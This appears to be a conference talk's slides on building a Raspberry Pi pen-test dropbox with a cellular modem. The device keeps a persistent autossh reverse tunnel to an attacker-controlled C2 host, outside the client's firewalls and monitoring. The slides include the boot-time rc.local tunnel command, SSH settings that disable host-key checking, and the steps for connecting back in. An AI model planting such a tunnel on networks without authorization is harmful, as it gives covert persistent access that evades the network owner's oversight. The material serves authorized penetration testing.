

SHELLS ON CELLS

A PEN TEST DROPBOX WITH CELLULAR OUT-OF-BAND PERSISTENCE

INTRODUCTION

- I'M CELLPHONEDUDE BUT MY FRIENDS CALL ME TJ
- I OWN A LA BASED MSP THAT PROVIDES A MULTITUDE OF SERVICES TO OUR CLIENTS
- WERE CURRENTLY DEVELOPING A PRODUCTION VERSION AND NEED HELP
 - IF YOUR INTERESTED IN WORKING WITH US SEE ME AT THE BAR OR EMAIL ME: TJ@XCAPEINC.COM
- BASED ON MY HANDLE IT SHOULD BE INHERENTLY OBVIOUS THAT I LOVE EVERYTHING ABOUT MOBILE NETWORKS AND DEVICES.

OBJECTIVE

- CONFIGURE RPI'S WITH SERIAL CELLULAR MODEM
- SETUP REVERSE TUNNEL TO C2 FOR PERSISTENCE

WHY

- TRAFFIC ISOLATION
- DFIR
- COMMUNICATION CHANNEL INDEPENDENT OF CLIENT NETWORK AND EQUIPMENT
 - FIREWALLS, ROUTERS, VLANS, TRAFFIC INSPECTION APPLIANCES
- WHY SEND A GUY WITH A LAPTOP WHEN ALL YOU REALLY NEED TO DO IS SEND HIS LAPTOP
- REMOTE TO A CLIENTS INFRASTRUCTURE IS GREAT, REMOTE TO YOUR OWN INFRASTRUCTURE INSIDE A CLIENT NETWORK BETTER.

ASSUMPTIONS FOR THIS TALK

WE'LL ASSUME THAT EVERYONE IN HERE KNOWS HOW TO SETUP THE FOLLOWING IF NOT LINKS:

- YOUR C2 (CLOUD OR PHYSICAL SERVER)
 - [HTTPS://AWS.AMAZON.COM/EC2/GETTING-STARTED/](https://aws.amazon.com/ec2/getting-started/)
- CREATE OS IMAGE AND SET UP YOUR PI FOR HEADLESS ACCESS
 - [HTTPS://LEARN.SPARKFUN.COM/TUTORIALS/GETTING-STARTED-WITH-THE-RASPBERRY-PI-ZERO-WIRELESS](https://learn.sparkfun.com/tutorials/getting-started-with-the-raspberry-pi-zero-wireless)
- FULL WALKTHROUGH ON GITHUB
 - [HTTPS://GITHUB.COM/CELLPHONEDUDE/SHELLS-ON-CELLS](https://github.com/cellphonedude/shells-on-cells)

BUILD OF MATERIALS

- RASPBERRY PI 3 B+ OR RASPBERRY PI ZERO W
- WAVESHARE GSM/GPRS/GNSS HAT
- DATA ONLY SIM OR M2M IOT SIM
- RASPBERRY PI ZERO W USB-A ADDON BOARD V1.1
- SD CARD



CONFIGURE THE WAVESHARE GSM MODEM

- INSTALL PPP TO DIAL WITH THE SERIAL MODEM
- `$ SUDO APT INSTALL PPP`
- CONFIGURE PROFILE TO BE USED FOR DIALING THE DATA CONNECTION
 - `$ SUDO SU -`
 - `# NANO /ETC/PPP/PEERS/GOOGLE`
 - EXAMPLE PEER FILE ON GITHUB
- CONFIGURE INTERFACES FILE TO AUTO DIAL CELLULAR CONNECTION

AUTO GOOGLE

IFACE GOOGLE INET PPP

PROVIDER GOOGLE

CONFIGURE SSH PTDB

- EDIT (/ETC/SSH/SSH_CONFIG)
 - AUTOSSH PERSISTENCE
 - SERVERALIVECOUNTMAX 3
 - SERVERALIVEINTERVAL 15
 - STRICTHOSTKEYCHECKING NO
 - HASHKNOWNHOSTS NO
 - GSSAPIAUTHENTICATION YES

CONFIGURE SSH DAEMON ON PTDB

- EDIT (/ETC/SSH/SSHD_CONFIG)
 - PASSWORDAUTHENTICATION NO
 - PERMITEMPTYPASSWORDS NO
 - GATEWAYPORTS YES
 - X11FORWARDING YES

CONFIGURE SSH C2

- EDIT (/ETC/SSH/SSH_CONFIG)
 - STRICTHOSTKEYCHECKING NO
 - HASHKNOWNHOSTS NO
 - GSSAPIAUTHENTICATION YES

CONFIGURE SSH DAEMON ON C2

- EDIT (/ETC/SSH/SSHD_CONFIG)
 - PASSWORDAUTHENTICATION NO
 - PERMITEMPTYPASSWORDS NO
 - X11FORWARDING YES

CONFIGURE AUTOSSH TO RUN ON BOOT

- EDIT (/ETC/RC.LOCAL)

```
AUTOSSH -FN -R <PTDB PORT>:LOCALHOST:<C2 PORT FOR N0D3> <C2 USER>@<C2 DOMAIN>  
-P <C2 PORT FOR SSH> -I /HOME/PI/.SSH/<PTDB_NAME_RSA> &
```

```
AUTOSSH -FN -R 5901:LOCALHOST:5900 -R 8001:LOCALHOST:8001 -R 7001:LOCALHOST:22  
TJ@CELLPHONEDUDE.DDNS.NET -P 8945 -I /HOME/PI/.SSH/CPDN1 &
```

- REPLACING THE <PTDB PORT> WITH THIS PTDB'S PORT THAT IT WILL COMMUNICATE TO C2 WITH
- REPLACE <C2 PORT FOR SSH> WITH THE PORT THE C2 DOES SSH OVER
- REPLACE <C2 PORT FOR PTDB> WITH PORT NUMBER ON C2 TO USE FOR THIS NODE
- REPLACE <C2 USER> WITH THE USERNAME THE PTDB SHOULD CALL HOME TOO
- REPLACE <C2 DOMAIN> WITH THE DOMAIN OR IP OF THE C2

CONNECTING FROM YOUR C2

SSH YOUR C2 FROM YOUR SYSTEM

- YOURSYSTEM\$ ssh <C2 USER>@<C2 DOMAIN> -P <C2 PORT FOR SSH> -I ~/.ssh/<C2KEY OR PTDBKEY>

FROM THE SHELL ON YOUR C2 SSH INTO YOUR PTDB WITH THE BELOW

- C2\$ ssh pi@localhost -P <C2 PORT FOR PTDB> -I ~/.ssh/<PTDBKEY>

QUESTIONS?

- ANYONE HAVE ANY QUESTIONS, NO SERIOUSLY ANY QUESTIONS AT ALL?
- EMAIL ME! CELLPHONEDUDE@GMAIL.COM
- WORK RELATED INQUIRIES TJ@XCAPEINC.COM